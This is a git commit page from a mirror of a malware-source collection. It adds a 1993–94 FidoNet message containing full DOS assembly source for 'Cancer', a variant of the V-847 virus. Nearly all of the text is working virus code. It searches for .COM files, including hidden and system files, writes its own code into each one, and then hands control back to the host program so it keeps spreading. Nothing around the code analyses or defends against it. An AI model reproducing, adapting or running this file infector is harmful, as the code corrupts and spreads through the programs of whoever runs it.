mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,160 @@
|
||||
;Ä PVT.VIRII (2:465/65.4) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PVT.VIRII Ä
|
||||
; Msg : 1 of 57
|
||||
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:09
|
||||
; To : - *.* - Fri 11 Nov 94 08:10
|
||||
; Subj : PIXLCANC.ASM
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
;.RealName: Max Ivanov
|
||||
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||||
;* Kicked-up by MeteO (2:5030/136)
|
||||
;* Area : VIRUS (Int: ˆä®p¬ æ¨ï ® ¢¨pãá å)
|
||||
;* From : Viral Doctor, 2:283/718 (06 Nov 94 16:12)
|
||||
;* To : Fred Lee
|
||||
;* Subj : PIXLCANC.ASM
|
||||
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||||
;@RFC-Path:
|
||||
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
|
||||
;18.n283!not-for-mail
|
||||
;@RFC-Return-Receipt-To: Viral.Doctor@f718.n283.z2.fidonet.org
|
||||
page ,132
|
||||
name CANCER
|
||||
title Cancer - a mutation of the V-847 virus
|
||||
.radix 16
|
||||
code segment
|
||||
assume cs:code,ds:code
|
||||
org 100
|
||||
|
||||
olddta equ 80
|
||||
virlen equ offset endcode - offset start
|
||||
smalcod equ offset endcode - offset transf
|
||||
buffer equ offset endcode + 100
|
||||
newdta equ offset endcode + 10
|
||||
fname = newdta + 1E
|
||||
virlenx = offset endcode - offset start
|
||||
|
||||
start:
|
||||
jmp cancer
|
||||
|
||||
ident dw 'VI'
|
||||
counter db 0
|
||||
allcom db '*.COM',0
|
||||
vleng db virlen
|
||||
n_10D db 3 ;Unused
|
||||
progbeg dd ?
|
||||
eof dw ?
|
||||
handle dw ?
|
||||
|
||||
cancer:
|
||||
mov ax,cs ;Move program code
|
||||
add ax,1000 ; 64K bytes forward
|
||||
mov es,ax
|
||||
inc [counter]
|
||||
mov si,offset start
|
||||
xor di,di
|
||||
mov cx,virlen
|
||||
rep movsb
|
||||
|
||||
mov dx,newdta ;Set new Disk Transfer Address
|
||||
mov ah,1A ;Set DTA
|
||||
int 21
|
||||
mov dx,offset allcom ;Search for '*.COM' files
|
||||
mov cx,110b ;Normal, Hidden or System
|
||||
mov ah,4E ;Find First file
|
||||
int 21
|
||||
jc done ;Quit if none found
|
||||
|
||||
mainlp:
|
||||
mov dx,offset fname
|
||||
mov ax,3D02 ;Open file in Read/Write mode
|
||||
int 21
|
||||
mov [handle],ax ;Save handle
|
||||
mov bx,ax
|
||||
push es
|
||||
pop ds
|
||||
mov dx,buffer
|
||||
mov cx,0FFFF ;Read all bytes
|
||||
mov ah,3F ;Read from handle
|
||||
int 21 ;Bytes read in AX
|
||||
add ax,buffer
|
||||
mov cs:[eof],ax ;Save pointer to the end of file
|
||||
|
||||
xor cx,cx ;Go to file beginning
|
||||
mov dx,cx
|
||||
mov bx,cs:[handle]
|
||||
mov ax,4200 ;LSEEK from the beginning of the file
|
||||
int 21
|
||||
jc close ;Leave this file if error occures
|
||||
|
||||
mov dx,0 ;Write the whole code (virus+file)
|
||||
mov cx,cs:[eof] ; back onto the file
|
||||
mov bx,cs:[handle]
|
||||
mov ah,40 ;Write to handle
|
||||
int 21
|
||||
|
||||
close:
|
||||
mov bx,cs:[handle]
|
||||
mov ah,3E ;Close the file
|
||||
int 21
|
||||
|
||||
push cs
|
||||
pop ds ;Restore DS
|
||||
mov ah,4F ;Find next matching file
|
||||
mov dx,newdta
|
||||
int 21
|
||||
jc done ;Exit if all found
|
||||
jmp mainlp ;Otherwise loop again
|
||||
|
||||
done:
|
||||
mov dx,olddta ;Restore old Disk Transfer Address
|
||||
mov ah,1A ;Set DTA
|
||||
int 21
|
||||
|
||||
mov si,offset transf ;Move this part of code
|
||||
mov cx,smalcod ;Code length
|
||||
xor di,di ;Move to ES:0
|
||||
rep movsb ;Do it
|
||||
|
||||
xor di,di ;Clear DI
|
||||
mov word ptr cs:[progbeg],0
|
||||
mov word ptr cs:[progbeg+2],es ;Point progbeg at program start
|
||||
jmp cs:[progbeg] ;Jump at program start
|
||||
|
||||
transf:
|
||||
push ds
|
||||
pop es
|
||||
mov si,buffer+100
|
||||
cmp [counter],1
|
||||
jne skip
|
||||
sub si,200
|
||||
skip:
|
||||
mov di,offset start
|
||||
mov cx,0FFFF ;Restore original program's code
|
||||
sub cx,si
|
||||
rep movsb
|
||||
mov word ptr cs:[start],offset start
|
||||
mov word ptr cs:[start+2],ds
|
||||
jmp dword ptr cs:[start] ;Jump to program start
|
||||
endcode label byte
|
||||
|
||||
int 20 ;Dummy program
|
||||
int 20 ;???
|
||||
|
||||
db 0 ;Unused
|
||||
|
||||
code ends
|
||||
end start
|
||||
;
|
||||
;-+- DinoMail v.1.0 Alpha
|
||||
; + Origin: The PRO-Point on a PRO-BBS and a PRO-*.* ...Ciaro?... (2:283/718)
|
||||
;=============================================================================
|
||||
;
|
||||
;Yoo-hooo-oo, -!
|
||||
;
|
||||
;
|
||||
; þ The MeÂeO
|
||||
;
|
||||
;/n No default libraries
|
||||
;
|
||||
;--- Aidstest Null: /Kill
|
||||
; * Origin: ùPVT.ViRIIúmainúboardú / Virus Research labs. (2:5030/136)
|
||||
|
||||
Reference in New Issue
Block a user